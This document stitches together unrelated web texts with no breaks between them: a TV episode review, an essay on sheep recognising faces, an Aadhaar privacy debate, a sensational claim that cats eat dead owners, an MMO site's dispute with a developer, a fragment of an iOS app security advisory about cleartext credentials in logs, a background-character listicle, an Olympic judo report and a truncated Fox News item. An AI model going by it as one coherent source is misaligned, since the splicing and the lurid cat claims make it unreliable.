It comes as no surprise that the season three premiere uses a Mother’s Day celebration to reintroduce us to these characters. It’s a nationally recognized day that should be filled with happiness and love and connection, but then again, these are complicated ladies in a complicated place. Not everyone is going to feel those same emotions, and the episode uses a mixed flashback structure to convey that idea. I won’t spend too much time on specific storylines in this review because the episode itself doesn’t really do so; it’s more concerned with overarching themes, with the comparisons between people who have mothers and people who don’t, with people who are mothers and people who aren’t, with people who have fond memories of their mothers and people who don’t. It’s a bit overwhelming, but most of the time, it works beautifully.
Take, for example, the episode’s handling of the Pennsatucky flashback and subsequent present day scenes. They’re tied together through the devastating use of Mountain Dew, and what follows is where the real magic happens. Big Boo sits down next to Pennsatucky and her makeshift popsicle stick graves, and she delivers a brutally honest perspective on Pennsa’s situation. “Maybe what was best for your children was wiping them out before living miserable fucking lives,” she says. Harsh, but true. While motherhood retains many of its same elements even when one part of the pair is in prison, there are also fundamental differences: the lack of control, for one. Daya and Bennett are feeling it, Ruiz feels it at the end when her daughter is taken away from her, and of course, it’s one of the ideas behind Boo’s argument. Simply put, things change when a prison wall springs up between two people.
And so, even when everyone comes together for a Mother’s Day celebration at Litchfield, there’s still a palpable sense of loss, of distance. The last ten minutes of the episode are some of the most heartbreaking of the series thus far–Poussey and that Calvin and Hobbes cartoon, holy shit–and the inmates having to get down on the ground once the alarm sounds is a clear reminder of the differences between prison and the outside world. There’s no doubt that being reminded of motherhood–of being reunited with your kids–can bring joy in prison, but there’s also no doubt that these inmates are caught in the system. And once they get out, as Piper says, they’ll have “no money, no job, and no prospects”. They might still have the brightness of motherhood now to bring them hope, but nothing will change the fact that when the prison alarm sounds, the ground is their next stop.
And worst of all, they don’t know what their kids’ next stops will be.
GRADE: B+
OTHER THOUGHTS:
– “It’s empty!” “Oh my god, this is such a metaphor for their lives.”
– “It wasn’t you. It was the system.” Obviously a BS statement from Piper to Alex here. Although I’m not as interested in their storyline as I am in the many others, pieces are already being set up to be knocked down later on in the season. They share an intimate moment in the chapel, but the conflict between them is undoubtedly going to start boiling due to Piper’s major secret, a secret that will inevitably get out. Same goes with Piper and Red.
-Healy’s flashback. Yikes. It’s really hard to watch, to say the least.
-Red cements her smuggling tunnel shut, but another inmate just ends up smuggling drugs into the prison through her baby’s diaper. Shit still happens.
-There’s a new character this season in Counselor Rogers, and she and Caputo have an interesting conversation in this episode. There are conflicting ideas about the Mother’s Day celebration: “fostering the women’s connections to the outside” vs. “maybe they have reasons to forget”. Short scene, but a great way to illustrate the complexity of motherhood in prison.
-It’s going to be interesting seeing Taystee’s and Suzanne’s developments throughout this season. Now that Vee is gone–the mother figure for them last season–things are very different.
-I’m not quite sure whether I have the motivation to review every episode like I did last year, but we’ll see. Maybe.
-The balloon! It’s a metaphor! Don’t you get it?!?
Photo credit: Netflix, Orange Is the New BlackA recent discovery that eight captive sheep can discriminate familiar from unfamiliar human faces from a variety of perspectives has rocked the world of those who study animal as well as biomedical researchers and those interested in saving sheep from being served up as human meals. Mass media has focused on this cognitive capacity previously thought to be unique to humans, centering on a study by University of Cambridge (UK) researchers Franziska Knolle and her colleagues called "Sheep recognize familiar and unfamiliar human faces from two-dimensional images" published in the journal called Royal Society: Open Science.
The entire essay is available online and numerous lay summaries are readily available. Basically, the researchers discovered that the eight sheep, when presented with a familiar's face—either Barack Obama, British newscaster Fiona Bruce and actors Emma Watson and Jake Gyllenhaal—could discriminate the face they recognized from faces with which they were unfamiliar. Then faces were then rotated so that the sheep viewed them from different perspectives and once again, the sheep also could recognize the celebrity's faces from tilted images. This ability has previously been demonstrated only in humans, and the sheep showed the same decline in response shown by humans in similar tests.
Are these results really all that "surprising?"
A study conducted by Jonathan Pierce and his colleagues published in 2001 called "Human face recognition in sheep: lack of configurational coding and right hemisphere advantage" using more sheep and conditions showed sheep could discriminate among human faces but are better at discriminating among the faces of other sheep. Commenting on the current study, Dr. Pierce notes, “I guess they have extended our work to show that sheep generalize viewpoints of the faces, which does require a rich representation of the.”
I don't find the results of the current study all that "surprising." People often other animals, including so-called "food animals," as being dumb and unfeeling individuals. They unmind them but interestingly don't diminish the cognitive and emotional capacities of the companion animals with whom they share their homes. Viewing other animals as lacking sentience and deep feelings opens the door to incredible abuse on the way to people's plates. And, just because the ability to recognize tilted faces has not previously been shown in animals other than humans, this does not mean that other animals lack this capacity. More comparative studies are sorely needed and the results of the research under discussion show that humans are not unique in this cognitive ability. It's best to keep the door open before declaring we're unique in different cognitive and emotional capacities.
Should transgenic sheep be used to study diseases from which they don't usually suffer? Bioethical considerations
Dr. Knolle and her colleagues conclude that their data "show that sheep have advanced face-recognition abilities, comparable with those of humans and non-human primates." They also write, "As well as providing novel ethological insights, this paradigm furthermore provides opportunities for investigating cognitive dysfunction. Indeed, face perception may be impaired at multiple levels in neurodegenerative diseases such as Huntington's disease (HD) [45] and Parkinson's disease [46], as well as disorders such as spectrum disorder [47] and schizophrenia [48]...The face-recognition paradigm presented here would be ideally suited for studying cognitive decline in the transgenic sheep model for HD." (The numbers refer to references in their essay.)
In an interview I did with Sarah Gibbens for an essay titled "Sheep Can Recognize Human Faces" published by National Geographic, the question about the of using sheep to study diseases from which they don't usually suffer, such as Huntington's disease. Huntington's disease is a rare and horrifically debilitating neurological condition that is irreversible. Having known someone who suffered from it showed me just how debilitating it truly is. Of this, there is no doubt.
Let me say that I can well understand why some people would favor creating sheep who suffer from Huntington's disease, for example, because of their advanced cognitive abilities and large brains. However, I also would like to see a more open debate about whether or not other animals should be created solely to learn about these disorders and how well the animal models really work.
One person who favors these studies notes, "The lambs do not suffer during this process. The sheep are not treated any differently....The lambs wouldn’t show any signs of the disease until they are five or six months old, the age at which they would be slaughtered for market anyway."
I’m a skeptic on how important these animal models are for learning about human diseases. I see both an ethical issue in engineering sheep with a degenerative disease and a biological issue in how effective results derived from animal studies can be for human patients. I’m more of a fan of studying people to learn about people. I fully realize that others do not agree with this position, for which I'm not alone in arguing. This is why open discussions are badly needed concerning the ethics of using other animals and how good animal models truly are.
What's in it for the sheep?
A good number of people emailed me after the National Geographic essay appeared and asked questions that boil down to something like, "What's in it for the sheep?" or "What about the sheep?"
Comparative research in the field called cognitive ethology (the study of animal minds and what's in them) is constantly generating new data. We know that all sorts of animals who are used by humans display rich and highly developed cognitive and emotional capacities, and these data are generating many wide-ranging debates about if and how they should be used and abused in a wide variety of venues, very often "in the name of humans." For example, detailed research shows that cows are bright and emotional bovine beings displaying abilities that some call "surprising" (for more discussion please see "Cows: Science Shows They're Bright and Emotional Individuals" and links therein), yet they're killed by the millions for human meals.1
So, what's in it for the sheep? I'd like to think that the results of the study of facial recognition along with others that show clearly that sheep suffer and feel pain will be used on their behalf and result in the development of rigorous regulations on how they can be used for human ends. I honestly would like to see an end to their being used for food, for example, because of the incredible abuse to which they're subjected.
Where to from here?
The study of facial recognition in sheep has clearly opened the door for all sorts of discussions and debates about what we're in the general field of cognitive ethology. I look forward to more comparative research about the rich and deep cognitive and emotional capacities of other animals, and discussions about how we must use this information on the animals' behalf because we're not very good in doing this.2 It's also essential to discuss whether or not other animals should be used in invasive biomedical research because they're readily available or because we can create individuals to serve our purposes, and whether or not they should be used in other human-centered venues.
Notes
1Some people might claim that Temple Grandin's so-called "stairways to heaven" have solved the problem of pain and suffering experienced by cows on their way to killing floors of slaughterhouses. Even if a tiny fraction of individuals have a "better life," it's still a life filled with enduring before they arrive at a slaughterhouse and when they're waiting to be killed, and doesn't border on what anyone would reasonably call a "good life." All in all, the "Temple Grandin Effect" is not very effective at all. For more on how Temple Grandin's methods fail millions of individuals please see this essay and references therein.
2As in many other venues in which nonhumans are routinely and brutally abused, detailed information from scientific studies is not used on their behalf. Unfortunately, a "knowledge translation gap" still exists and what we know is not used on their behalf in far too many situations. Basically, the knowledge translation gap refers to the practice of ignoring tons of science showing that other animals are sentient beings and going ahead and causing intentional harm in human-oriented arenas. On the broad scale, it means that what we now know about animal cognition and emotion has not yet been translated into an evolution in human attitudes and practices.'MUMBAI: The controversy over Aadhaar on Friday triggered a heated spat between P Chidambaram and NR Narayana Murthy, with the lawyer-politician flagging concerns from a libertarian perspective and the Infosys co-founder stressing on the need for Parliament to enact laws to protect privacy.Flaying the Modi government's strident move to get everything linked to this national identification number, Chidamabaram said the "government is completely deaf" to any reasoning against linking Aadhaar to everything under the sun.Like any other modern country, there is a need to establish individual identities in the form of a driving licence, at the same time ensuring that there is no violation of privacy with such an identification, Murthy said, speaking at IIT-Bombay's annual Mood Indigo festival here this evening.Chidambaram on the other hand argued that using Aadhaar for every transaction has "serious consequences" that will turn the country into an "Orwellian state", compromising the ideals of a liberal democracy and an open society."If a young man and a young woman want to have a private holiday, they may not be married, what's wrong with that? If a young man wants to buy condoms, why should he disclose his Aadhaar or identity?" the former finance minister quipped."Why should the state, that is the government, know what medicines I buy, what cinemas I visit, what hotels I stay in, who are my friends?" he asked further."If I am in the government, I should resist the temptation to know about all these activities which individual citizens do," he said.Retorting back, Murthy said, "I disagree with you... all of the things you talked about are available through Google today."Chidambaram said he has not linked his bank account with the Aadhaar number and appealed for a pause on linking activities till January 17, when the a five-judge Constitution bench is slated to resume hearing the bunch of petitions on the matter.He further said right now, all the Aadhaar linking is being done not voluntarily by the people but as a tool to "conform" because of the barrage of SMSs and mails."The question is: there are many agencies which say, 'give me your Aadhaar. And even crematorium is asking for Aadhaar today!," Chidambaram said, clarifying that he doesn't oppose Aadhaar as a means to establish identities and help extend government subsidies.When pointed out about the potential misuse of the individual data while availing of services by the chair of the panel, Murthy said we should not "trash" Aadhaar and took jibes at Parliamentarians for not coming out with a privacy law that can help protect an individual's data.In the wake of criticism of hiding wrongful transactions against those opposing Aadhaar, Chidambaram made it clear that there is nothing to hide and any investigative agencies can access details if needed."... that record should not be accessed by a hacker or a big brother in the government using my Aadhaar. That's my objection," he said.The former two-time finance minister in the Manmohan Singh government, that brought in the Aadhaar, pointed out that the original idea of Aadhaar was to help transfer government benefits and subsidies and plug the leaks."Where there are no government subsidies or benefit being transferred, there is absolutely no reason to link to Aadhaar. There are serious consequences of doing that. But this government seems to be completely deaf to any reasoning against linking Aadhaar to everything under the sun."Picking up quickly on it, Murthy shot back saying "that responsibility is of Parliament... to ensure that the executive does not do it. You have all the powers."Murthy further said, "Aadhaar is nothing but a simple verification of the identity of an individual. There is no privacy issue here. We've a certain way of identifying individuals and it's like a driver's licence in which there is no privacy violated by that."To this, the former home minister retorted saying Murthy is "disarmingly innocent", and private people do listen-in to calls.The two finally did agree, with Murthy saying, "as long as there are laws that protect privacy, there is no issue. I'm not saying you need an Aadhaar to book a film ticket, or some other trivia."This led Chidambaram to say "in the revised formulation, I entirely agree with Mr Murthy"."The beauty of disagreeing with Mr Chidambaram is that you can disagree with him as long as you are not disagreeable," Murthy concluded.Are you a cat owner? Do you really want to know if cats would eat their owners if they died?
If not, skip to the next question, and we’ll meet you down there in a second.
Okay, then. As you know, there have been dozens of stories of loyal dogs standing guard over their owners’ bodies, disregarding their own hunger and thirst as they carry on their lonely, sad vigil.
Funny thing, though, we haven’t heard many stories of cats doing the same thing.
We know that big cats in the wild are opportunists, eating whatever they can catch, find, or steal, but what about the little one sleeping on your lap right now?
Yep, the cats in your house are not that different.
While a dog will normally wait until it is very hungry, a couple of days or more, before feeding on its beloved owner, a hungry cat may well decide that you’ll do as a protein source before your body has even grown cold.
After all, you provided them with food all those years while you were still living, so why not after?
It’s their nature. They can’t help it. Still, it’s yet another reason to keep an eye on the little beasts.
As one forensics expert put it: “On those lazy afternoons when your cat is lying there on the sofa watching you with half-closed eyes, it’s likely thinking about lunch and checking to see if your chest is still moving up and down.”
Cats kill.Ah yes, the sweet smell of Friday morning MMORPG controversy is like music to my ears. I woke up today and received a Facebook message (professional) from Ethan Ash Cashner regarding a news post from yesterday titled “Divergence Online Has Been Removed From Steam.” Mr. Casner is one of the developers for the aforementioned sandbox MMORPG. He asked MMOs.com to remove the news post “in its entirey, the first moment you have.” We are accused of misrepresenting the facts, but Mr. Casner and the Divergence Online team are criticizing our integrity for the purpose of spinning their own version of events.
Let’s recap what’s happened. Divergence Online released through Steam on January 06, 2016 to mixed reviews. The Star Wars Galaxies [2.0] spiritual successor was met with harsh criticism, accused of stealing assets from SWG. I’m sure Mr Casner wouldn’t subject himself to stealing assets. Oh wait.
The Divergence Online IndieGoGo Launch trailer used the iconic Star Wars theme, blatantly disregarding Lucas Film’s copyright; this use is NOT covered by fair use either—in fact it fails every single one of Youtube’s four factors of fair use. But there is NO evidence that Divergence Online stole assets from any other project. As Matt stated in the news post, “Divergence Online has had a rough time on Steam with consistent accusations of having stolen assets from its primary source of inspiration, Star Wars Galaxies being slung at it.”
The Steam Store page was not only rife with comments accusing the game of stolen assets but also included personal attacks against Mr. Casner. In a Facebook post Mr. Casner protested Valve’s lack of action against reviews which violate Steam’s Terms of Service. “For a few weeks now, we've been asking steam to please police their reviews and requesting that at the very least, they moderate comments made that directly violate their own rules and regulations...”
In response to Mr. Casner’s requests Valve removed some of the comments. But in the process of reviewing comments Valve discovered one user accusing the Divergence Online team of stealing his assets.
Then, this morning I woke up to an email essentially saying "Thanks for contacting steam, we've removed things you pointed out to us that violated our terms of service", then within about 2 hours I got another email saying "Yeah, that guy who we kicked off for harassing you guys like two hours ago? Ok well, he just sent us an angry email and we'd like you to spend another week of your time defending against it. I know we already just ruled on this, but for some reason, yeah do all this other stuff."
In their defense the Divergence Online team [allegedly] politely refused to use the asset. The disgruntled commenter accusing Divergence Online emailed Valve, who in response removed the Divergence Online Store page for further review. Mr. Casner has chosen not to dispute the claim, and Divergence Online remains removed from Steam.
Here’s where MMOs.com is accused of misrepresenting the facts. Mr. Casner told MassivelyOP that he, himself, ultimately decided to remove the game from the Steam Store.
Last night, we reached out to Divergence’s chief developer, Ethan Casner, who reassured us that the game itself is not in jeopardy but that he effectively pulled the game’s store page down from Valve’s platform himself because of sustained harassment from Steam users and Valve’s alleged failure to adequately address it.
[...]
So Casner registered his intention to take down the game’s store page, and Valve complied.
According to MassivelyOP Mr. Casner “further rebuffed accusations made on another MMO website, which he says quoted his partner’s tweets out of context in order to assert that Valve had removed Divergence from Steam by force.”
Mr. Casner’s partner is one Ana Morgan, who posted 4 tweets regarding the takedown of Divergence Online, and later deleted them. She details the points previously mentioned: that Valve removed Divergence Online due to the accusations of an individual, and that a Skype log exists detailing the refusal (copies of which have not been shared).
We at MMOs.com are baffled as to what we are accused of. The tweets were listed as Mrs. Morgan posted them to further reveal the story. We in no way misrepresented her statements, nor accused Divergence Online of any wrongdoing, but gave the game the benefit of the doubt. Our writer Matt even defended Divergence Online, stating “From what it sounds like, the team has the proof to sort this out and have Divergence reinstated on Steam.” Perhaps, we are accused of believing Divergence Online could reinstate their game on Steam. We apologize.
MassivelyOP contends we misrepresented the reasoning behind Divergence Online’s removal, claiming that Valve did not remove the game by force. But publicly available information points to exactly that. Mr. Casner himself admits to the matter in the aforementioned Facebook rant.
Mr. Casner stated that Valve is asking the Divergence Online team to defend themselves against stolen asset accusations after purging the Store Page. His statement directly contradicts what he tells MassivelyOP. Mr. Casner goes on to rebuke Mrs. Morgan’s tweets in the same post with MassivelyOP:
I told [Valve], ‘Please enforce your rules or we don’t want to have a store page anymore,’ and their response was to disable the store page – not remove it from Steam itself – as if responding to a support request to do so, hand A having no knowledge at all that hand B just ruled on the issue,” he explains. “Nobody ‘kicked anyone off of Steam.’ We asked them to make some changes regarding the enforcement of their own rules (so that we don’t have to spend development time doing it), and we’re waiting on them to say, ‘OK.'” His partner, he explains, meant in her tweets not that Valve had literally taken the game down but that Valve was responsible for the circumstances leading to Casner’s decision.
So Mrs. Morgan was detailing the logical steps required for Mr. Casner to remove the post? If that’s the case why would you remove tweets if they expressed the truth? Mrs. Morgan’s formerly deleted tweets corroborate Mr. Casner’s Facebook post, further reinforce the notion, by stating: It seems anyone can email Valve and accuse developers of using their work without permission and! Here's the best part…” and “Valve takes down the game in question WITHOUT requiring ANY kind of proof from the person making the accusation.” She then details that she has a Skype log (not shared) detailing the refusal and that they gave the accuser a free key. The same person who allegedly emailed Valve and had the game taken down.
It seems Mrs. Morgan didn’t verify her tweets with Mr. Casner before pressing “Tweet.”
There is no conspiracy here. There is bad journalism-blogging and bad politics. And while Mr. Casner requested we interview him the facts were laid bare by publicly available statements through Steam, Facebook, and Twitter. Requesting information from a developer is done to reveal ambiguities, not re-enforce an agenda. MassivelyOP gave a dishonest developer a dishonest platform to spread his views. And it seems they did not fact check, but took the developer’s word at face value.
It is also entirely unprofessional for MassivelyOP’s Editor-In-Chief to state, “That site [MMOs.com] is precisely the one that spread misinformation last night and is rebuffed in the article under which you are commenting.” Particularly when MassivelyOP built their entire article off of the word of Mr. Casner rather than conduct a simple Google search. Mr. Casner himself is not a reputable source. We request a formal apology.
Mr. Casner is entirely inconsistent in sharing the amount of money he makes per week through Steam. In his Facebook rant he states that the game generates $100/week, but in the Steam Community image he shared with us on Facebook he states that the game generates $60/week. Both posts were created within 24 hours of each other. How can someone who can’t keep his numbers straight expect us to trust him?
Notorious Steam comments have also littered Mr. Casner’s career. He spends more time engaging in playground politics and name calling negative reviewers, rather than developing his game. He taunts his customers with underhanded vitriol and then complains he can’t tolerate negative comments. I imagine that if Mr. Casner spent as much time working on his game as he does crafting comments he might be closer to a finished product.
Mr. Casner did contact us and demanded that “this one [the news post] has to go, in its entirely, the first moment you have.” He is attempting to rewrite his game’s development history by altering media perception to put the decision in his pocket.
At MMOs.com our position is to present truth without catering to developers or advertisers, but to the community. Going forward we will not be covering Divergence Online, but will continue to support other Star Wars Galaxies spiritual successors such as The Repopulation. There is almost universal disdain for Divergence Online and the way Mr. Casner, in particular, has handled himself in regards to the community and ourselves. We’ve provided disproportionate coverage when compared to how little progress has been made over the years.
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">I have a Starbucks account.</span></legend> [...snip...] <li> <label for="Account_UserName" class="">Username <span class='req'>*</span></label> <span class="x"> <input class="field text medium" id="Account_UserName" maxlength="200" name="Account.UserName" tabindex="0" type="text" value="CLEARTEXT" /> </span> </li> <li> <label for="Account_PassWord" class="">Password <span class='req'>*</span></label> <span class="x"> <input class="field text medium" id="Account_PassWord" maxlength="200" name="Account.PassWord" tabindex="0" type="password" value="CLEARTEXT" /> </span> </li> 43440 $ -[AccountManager forgotPasswordEmail:withUserName:] line 1609 $ BODY STRING:[ {"emailAddress":"CLEARTEXT","userName":"CLEARTEXT"} ] Note: All references of 'CLEARTEXT' above are the cleartext values of each referenced string. Mitigation: To prevent sensitive user data (credentials) from being recovered by a malicious user, output sanitization should be conducted to prevent these data elements from being stored in the crashlytics log files in clear-text, if at all. iOS Specific Best Practices (from OWASP Mobile Top 10 - M1 Insecure Data Storage): - Never store credentials on the phone file system. Force the user to authenticate using a standard web or API login scheme (over HTTPS) to the application upon each opening and ensure session timeouts are set at the bare minimum to meet the user experience requirements. - Where storage or caching of information is necessary consider using a standard iOS encryption library such as CommonCrypto - If the data is small, using the provided apple keychain API is recommended but, once a phone is jailbroken or exploited the keychain can be easily read. This is in addition to the threat of a bruteforce on the devices PIN, which as stated above is trivial in some cases. - For databases consider using SQLcipher for Sqlite data encryption - For items stored in the keychain leverage the most secure API designation, kSecAttrAccessibleWhenUnlocked (now the default in iOS 5) and for enterprise managed mobile devices ensure a strong PIN is forced, alphanumeric, larger than 4 characters. - For larger or more general types of consumer-grade data, Apple’s File Protection mechanism can safely be used (see NSData Class Reference for protection options). - Avoid using NSUserDefaults to store senstitve pieces of information as it stores data in plist files. - Be aware that all data/entities using NSManagedObects will be stored in an unencrypted database file. References: http://try.crashlytics.com/security/ https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/SecurityDevelopmentChecklists/SecurityDevelopmentChecklists.html#//apple_ref/doc/uid/TP40002415-CH1-SW1 https://www.owasp.org/index.php/IOS_Developer_Cheat_Sheet#Insecure_Data_Storage_.28M1.29
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Current thread:In TV shows, films and other such forms of media, there are usually extras in the backgrounds to show the size of the universe the main characters live in or to act as stand-ins for the leads to interact with. But sometimes there are just those background characters who catch a person’s eye and become part of popular culture, gaining their own moments in the spotlight and affection from audiences. Here are ten such background characters who have earned the attention of audiences and become popular.
10 The Drinking Tourist James Bond
A recurring background character in the Roger Moore era of Bond films, this drinking tourist appeared in The Spy Who Loved Me, Moonraker, and For Your Eyes Only. During each film, the tourist encounters James Bond doing something extreme. These include emerging from the sea in his submarine car, driving through Venice in a land-based gondola, and escaping assassins in the Alps whilst on skis. The punchline of the gag is for the tourist, who is drinking at the time, to look at his alcohol and ponder whether or not he has been drinking too much. This brand of humor has been done in other media, but the Drinking Tourist, played by the films’ assistant director Victor Tourjansky, does it the best.
9 Jonathan Levinson Buffy the Vampire Slayer
Going from background extra to having a major recurring role, Jonathan was the target of both bullies and monsters alike throughout the show, and was little more than a guy who always ended up in the wrong place at the wrong time. However, he gained a breakout role in the episode “Earshot” where it looks like he’s going to shoot people, only for Buffy to learn he planned to commit suicide for being such a loser. However, Buffy is able to convince him life is worth it, and they become distant friends. Jonathan made several more appearances in the show, and eventually became a not-so-threatening villain in the sixth season, with his good nature winning through. Unfortunately, Jonathan got killed off in the seventh season by his own friend Andrew, but his memory lived on through Andrew who was forced by Buffy to face his own guilt.
8 Cabbage Merchant Avatar: The Last Airbender
Avatar: The Last Airbender was a popular cartoon series for its engaging, complex characters, plot and animation. Its humor was also another source of entertainment, mostly from the gags the main characters got into, with Sokka providing much of the comic relief. But there were some characters designed to be walking gags; most notably the Cabbage Merchant. A simple salesman who made a living by selling cabbages, this poor man had a tendency of running into Aang and his friends, which usually resulted in the destruction of his goods. Traveling around the Earth Kingdom, the Cabbage Merchant could not escape Team Avatar and their enemies, and each time screams “My cabbages!” In The Legend of Korra, the merchant’s legacy lives on in the company Cabbage Corp, where a statue of him stands outside, but his descendants still have trouble with the Avatar.
7 Scrat Ice Age
A bit of a debatable choice, since Scrat has such a huge presence in the Ice Age films. Scrat is a “saber-toothed squirrel” who spends the whole of the films trying to protect and bury his acorn for safekeeping, but fate, and usually the main characters intervene and separate Scrat from his beloved item. The situations Scrat continues to get in become more and more imaginative and hilarious, from causing a huge ice float to chase him, to fighting a school of piranha for his acorn, to falling in love with a female saber-toothed flying squirrel named Scratte. Whether or not Scrat counts as a background characters is debatable, since he plays a large recurring role in the film series, but only interacts with the main characters on an occasional basis and has never been a part of their core group. He follows his own plot, whilst his encounters with the heroes seem to be pure coincidence.
Scrat’s date of origin is disputed, with cartoonist Ivy Supersonic trying to sue 20th Century Fox under the pretense she created the character in 1999, but lost in court. In another act of coincidence, in 2011, archaeologists discovered a mammal called Cronopio, described as a cross between a saber-toothed animal and a squirrel, bearing a resemblance to Scrat.
6 Ice Cream Maker Guy Star Wars
Virtually every character in Star Wars is recognizable and iconic, even the background characters. One of them is Ice Cream Maker Guy. This extra appeared in The Empire Strikes Back when Lando Calrissian warned Cloud City’s citizens of the Empire’s presence and told everyone to flee. Ice Cream Maker Guy was seen running away in the background, carrying a large, white object with him. People joked that the item in question was an ice cream maker, hence, how the character got the nickname. Eventually, writer Benjamin Dawe wrote a story revolving around Ice Cream Maker Guy and other characters, giving him the name of Willrow Hood, as well as a backstory, personality, etc. Most notably, what the alleged ice cream maker was carrying was actually a computer’s memory core, as part of the rebel alliance against the Empire.
5 Figwit The Lord of the Rings
An elf that appears in The Lord of the Rings film trilogy, Figwit appeared as a background character in The Fellowship of the Ring, played by Bret McKenzie of Flight of the Concords fame. Figwit was spotted by Tolkien enthusiast Iris Hadad, his name actually based on Hadad’s reaction upon seeing the character – “Frodo is great…who is that!?” – the first letters of each word making up his name. Hadad and others eventually set up a fan site based around Figwit and his popularity grew quickly. Peter Jackson gained wind of Figwit’s popularity and gave him a speaking role in the third film as a nod to fans. Figwit’s popularity has grown over the years, with McKenzie gaining an extra role in The Hobbit film, but as a different character.
4 Derpy Hooves My Little Pony: Friendship is Magic
Another character who gained immediate attention and popularity was Derpy Hooves in My Little Pony: Friendship is Magic, a highly successful show with male audiences for its complex and diverse characters. With a large cast of one-time and background characters, the fan took the opportunity to give names and personalities to every single one of them – from a horse named “Doctor Whooves” for resembling David Tennant and having an hourglass as a “cutie mark,” to a pony DJ named DJ Pon-3 who only appeared for about two seconds. The most iconic is Derpy Hooves, who has appeared as a background since the pilot episode, and is notable for her crossed eyes which is apparently due to an animation error.
Pointed out by a user of 4chan, Derpy quickly accelerated to being the most popular character on the show after the core characters. The shows creators eventually acknowledge Derpy’s nickname and gave her a speaking role in the second season. Fans were ecstatic. However, Derpy’s rise to acknowledgment quickly ended due to some complaints that Derpy parodied disabled people and her name was edited out of the episode she appeared in, and her voice re-recorded. While fans campaigned to restore Derpy’s original voice, the episode’s writer sent a letter to the fan base explaining why the character was altered, in relation to her own son having disabilities in reflection to the complaints of the troubled viewers.
3 The Simpsons Background Characters
The Simpsons has a huge cast of characters, and many fit the role of either supporting characters or background characters. With popular characters like Flanders, Apu, Moe, Barney, Krusty, Mr. Burns, Professor Frink, and the school staff often getting focus, there are other recurring characters who can provide humor for the audience. There are way too many characters to go through but some of the most recognizable characters include Bumblebee Man, Crazy Cat Lady, Disco Stu, police officers Eddie and Lou, Gil, Herman, Jasper, Dr. Marvin Monroe, Captain McCallister, Sideshow Mel, Squeaky-Voiced Teen, the Wiseguy, and the “Yesss” Guy.
The best background character in the show is Hans Moleman, a seemingly elderly old mole-like man who has a tendency of getting into bad situations with hilarious results. He is in fact 31-years old, implying his elderly appearance was caused by drinking alcohol. During his amazing career as a comic relief character, he has been “de-programmed” to think he was Bart Simpson, has had a large variety of careers throughout the years, filmed himself getting hit in the crotch by a football, and Mr. Burns drilled a hole into his head whilst under severe medication. He’s had numerous scrapes with death – he’s been left in an x-ray machine for a whole weekend; had his Gremlin car blown up with him still in it; somehow crashed another car into the side of Springfield’s Planet Hollywood; and was set on fire thanks to the powerful magnifying effect of his glasses.
2 Red Shirts Star Trek
The term “red shirt” is used when a character is killed shortly after being introduced, and is most common in Star Trek. It was traditional in the original Star Trek show to involve extras dressed in red shirts to accompany Captain Kirk, Spock and Dr. McCoy to alien worlds only to be quickly killed by an antagonistic force. While some main characters wore red shirts, it was only the extras who died. The most notable red shirt is Lt. Leslie from the original series, who was killed off in one episode, only to be revived and appear in later episodes. The tradition continued in the later series, although not as frequently. The most recent was in the 2009 film where an arrogant red shirt accompanied Kirk and Sulu to destroy the Romulan drill weapon, only to meet an unpleasant end in the drill’s heat ray.
1 Wally Where’s Wally?
When a character is literally designed to be a background character, no one else but Wally (or Waldo) could be number one. The Where’s Wally? books have been a popular series of children’s books since 1987, with readers being challenged to find the elusive Wally in a large, crowded scene with tons of visual gags and other characters. But Wally was not alone, he’s also joined by his friend Wenda, Wizard Whitebeard, troublesome Odlaw who wears yellow and black in opposite to Wally’s red and white color scheme, and Wally’s dog Woof, who is even trickier to find than Wally since you can only see his tail. Wally gained a short-lived cartoon series, and even talks of a live action film adaptation. Wally’s ability to hide himself in crowds is a legacy in its own, and I hope Where’s Wally? continues for many years to come.
+ Cigar Guy
Cigar Guy is an internet meme who became popular for having an outstanding appearance. Cigar Guy was pointed out in a photograph of Tiger Woods, sporting a ginger wig, a Groucho Marx-styled mustache, whilst chomping on a cigar. It turned out Cigar Guy was paying homage to Spanish golfer Miguel Ángel Jiménez. The search was on for Cigar Guy’s identity, and he was eventually identified as British man Rupesh Shingadia, who admitted he was “slightly embarrassed” by his new-found popularity, even though he ended up appearing on The Today Show.BEIJING (Reuters) - Mongolian wrestler-turned-judoka Tuvshinbayar Naidan upset a string of more fancied opponents to win the men’s 100kg title on Thursday and give the windswept central Asian nation its first Olympic gold medal.
Twenty-four year-old Naidan, who switched to judo in 2000, used a traditional Mongolian wrestling technique to humble Athens heavyweight champion Keiji Suzuki in their opening bout, and then trounced Kazakhstan’s Ashkat Zhitkeyev in the final.
“There are no words that can describe my happiness,” Naidan told reporters. “After winning this gold my first thought is to thank my parents, my coach and all the people who have supported me in the past.”
While not lacking in skill or technique, the burly Mongolian’s success was largely built on brute strength and determination.
After arrogantly throwing Suzuki off the tatami for ippon and automatic victory, Naidan bullied, barged and bruised his way to the final where a hapless Zhitkeyev was the victim of three scoring throws.
Mongolia, wedged between Russia and China, has a population of only around three million. It is probably best known as the home of 13th century warrior Genghis Khan.
Zhitkeyev’s silver gave Kazakhstan its first judo medal, and added to an already impressive haul by central Asian athletes.
“This medal has been a long time coming for my country... And now there it is. I am thrilled and happy,” Zhitkeyev said.
Dutchman Henk Grol and Movlud Miraliyev of Azerbaijan shared the bronzes. Miraliyev, 34, announced his retirement.
“At the last Olympics I was one step away from a medal, and I am now glad to conclude my career in a dignified way,” Miraliyev said.
China’s Yang Xiuli emerged from her marathon title fight against Cuba’s Yalennis Castillo with a black eye but also the hosts’ second judo gold.
With neither able to score after the full five minutes of extra time, referees judged Yang the more attacking fighter and awarded her the title amid deafening roars from home fans.
Yang, a soldier with China’s People’s Liberation Army, said she could have gone on longer if she had to.
“Soldiers aren’t afraid of death on the battlefield, so what do I have to fear in competition?” she said.
South Korea’s Jeong Gyeongmi and Frenchwoman Stephanie Possamai won bronzes.Fox News host Sandra Smith speaks to Stefanie Williams (screen grab)
Fox News host Sandra Smith hosted a segment on Wednesday that blasted a former Yelp employee for complaining that her minimum wage job left her unable to buy food.
In an open letter to Yelp CEO last week, a 25-year-old woman who identified herself as Talia Jane explained that she had not “bought groceries since I started this job” at Yelp’s Eat24 food delivery network.
After 29-year-old Stefanie Williams posted a rebuttal claiming Jane “believes she deserves these things that most of us would call luxuries,” she was invited on Fox & Friends to explain her rant.
